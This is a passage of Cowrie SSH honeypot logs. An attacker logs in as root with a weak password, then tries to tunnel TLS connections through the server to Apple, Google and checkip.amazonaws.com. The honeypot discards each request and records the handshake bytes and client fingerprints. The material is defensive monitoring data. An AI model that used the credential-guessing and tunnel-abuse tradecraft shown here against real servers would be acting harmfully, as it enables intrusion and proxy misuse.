p\\x94w\\xa1c\\xcc\\xe9\\x18+\\x10\\xce\\x87*4\\xc9\\x03\\\\\\x80&\\xcf0@Fm\\xf7\\x12\\x01l\\x98[\\x93M\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.30.157.36:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc\\xf3\\x95\\xef\\xd3\\xf4\\x98\\x87\\x1a\\xaf8\\x0e\\x02\\x046KE`\\xc6\\x1a8\\x18_t\\x1c\\xbc\\x9e\\xa0sD\\xfb\\x01 \\xe4\\xfe\\x01\\x80\\x9c\\xc9\\xf4\\x1a\\x15\\x960f\\x0f\\x82a\\xa0\\xa8\\xf2\\x18\\x03\\x8c\\x99g\\x91\\x9aW\\t\\x8f+{\\x7f\\x95\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 p\\x94w\\xa1c\\xcc\\xe9\\x18+\\x10\\xce\\x87*4\\xc9\\x03\\\\\\x80&\\xcf0@Fm\\xf7\\x12\\x01l\\x98[\\x93M\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:16.387888Z","src_ip":"185.156.73.233","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.153.119","dst_port":443,"src_ip":"185.156.73.233","src_port":58658,"message":"direct-tcp connection request to 142.251.153.119:443 from 127.0.0.1:58658","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:18.060280Z","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.153.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.153.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:18.772878Z","src_ip":"185.156.73.233","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.153.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\xb3S\\xb2c\\x05\\x1cn\\x85$\\xe1\\x8a\\xe6\\x95\\xa53\\xb8\\xdc\\xa9p\\xc0\\xac\\xa0\\xec\\xd2\\xefy\\x9d7\\xd5\"\\x8e p\\xb3[\\x00\\x1f%q3\\x01\\x89\\xce\\x02hX.\\xe7\\x08\\x8e\\x81\\xff\\xc1{\\x92P\\xf2\\x8aIm_ .\\x93\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xf8\\x01g\\xbe\\x7f\\xdb\\xe3}z\\x1b\\x99\\xc1\\xee#]N4\\x02\\xff\\xd0U\\x8f\\x1d\\xa9|L\\x85$\\xb1\\x05\\xb9p\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.153.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\xb3S\\xb2c\\x05\\x1cn\\x85$\\xe1\\x8a\\xe6\\x95\\xa53\\xb8\\xdc\\xa9p\\xc0\\xac\\xa0\\xec\\xd2\\xefy\\x9d7\\xd5\"\\x8e p\\xb3[\\x00\\x1f%q3\\x01\\x89\\xce\\x02hX.\\xe7\\x08\\x8e\\x81\\xff\\xc1{\\x92P\\xf2\\x8aIm_ .\\x93\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xf8\\x01g\\xbe\\x7f\\xdb\\xe3}z\\x1b\\x99\\xc1\\xee#]N4\\x02\\xff\\xd0U\\x8f\\x1d\\xa9|L\\x85$\\xb1\\x05\\xb9p\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:18.777498Z","src_ip":"185.156.73.233","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:20.805846Z","src_ip":"185.156.73.233","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":53490,"dst_ip":"10.17.0.5","dst_port":22,"session":"4acb326e52dc","protocol":"ssh","message":"New connection: 185.156.73.233:53490 (10.17.0.5:22) [session: 4acb326e52dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:58.471251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:58.475426Z","src_ip":"185.156.73.233","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:58.555256Z","src_ip":"185.156.73.233","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"adminpass","message":"login attempt [root/adminpass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:58.945413Z","src_ip":"185.156.73.233","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.254.77.2","dst_port":443,"src_ip":"185.156.73.233","src_port":59362,"message":"direct-tcp connection request to 34.254.77.2:443 from 127.0.0.1:59362","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:04.016345Z","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.254.77.2","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.254.77.2:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:06.042166Z","src_ip":"185.156.73.233","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.254.77.2","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\x1ae\\xf6\\xbe\\x08\\xf1{\\xe3+\\x86H\\xb8\\x8e\\xb8Y\\xc3\\x81\\xf0\\xbc\\xb3Z\\xdc\\t\\xbf{F`\\xe8\\xcf\\xa1S \\xa7g\\x15\\xee\\xa2\\xdb\\x88\\xd9b\\\\\\xee\\x80\\x04\\xc8\\xb8\\xfb\\xf2\\x8d\\xe913\\xd2\\xabD\\x9c\\x07l\\xe4Qv\\x17\\xe1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 s\\x8f\\x0e\\xec\\xcah\\xc45\\xd2\\xb6)\\x07\\x96\\x9d\\x96^\\x8cq\\xdb\\xd2\\xa6\\x14\\xf5\\xef\\x00\\x1b\\xd2\\x0e\\xc0\\x0b\\xe0b\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.254.77.2:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\x1ae\\xf6\\xbe\\x08\\xf1{\\xe3+\\x86H\\xb8\\x8e\\xb8Y\\xc3\\x81\\xf0\\xbc\\xb3Z\\xdc\\t\\xbf{F`\\xe8\\xcf\\xa1S \\xa7g\\x15\\xee\\xa2\\xdb\\x88\\xd9b\\\\\\xee\\x80\\x04\\xc8\\xb8\\xfb\\xf2\\x8d\\xe913\\xd2\\xabD\\x9c\\x07l\\xe4Qv\\x17\\xe1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 s\\x8f\\x0e\\xec\\xcah\\xc45\\xd2\\xb6)\\x07\\x96\\x9d\\x96^\\x8cq\\xdb\\xd2\\xa6\\x14\\xf5\\xef\\x00\\x1b\\xd2\\x0e\\xc0\\x0b\\xe0b\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:06.045394Z","src_ip":"185.156.73.233","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.220.112.242","dst_port":443,"src_ip":"185.156.73.233","src_port":34464,"message":"direct-tcp connection request to 23.220.112.242:443 from 127.0.0.1:34464","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:07.873518Z","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.220.112.242","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.220.112.242:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:53:08.293281Z","src_ip":"185.156.73.233","session":"4acb326e52dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.220.112.242","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8bA\\xf3\\x96\\x8dlF\\x1a3\\x88\\x80\\xa2[\\xdd\\xc9\\x1aR\\xce\\x06pg!i\\xe9\\xd3k`\\xff\\x0c\\x05\\xbf\\xbb \\x10u\\xe6\\xc2\\xb9\\xdc\\x9bPPpS\\xaf&t\\xb6\\xf2\\xaf\\xb5\\xb4 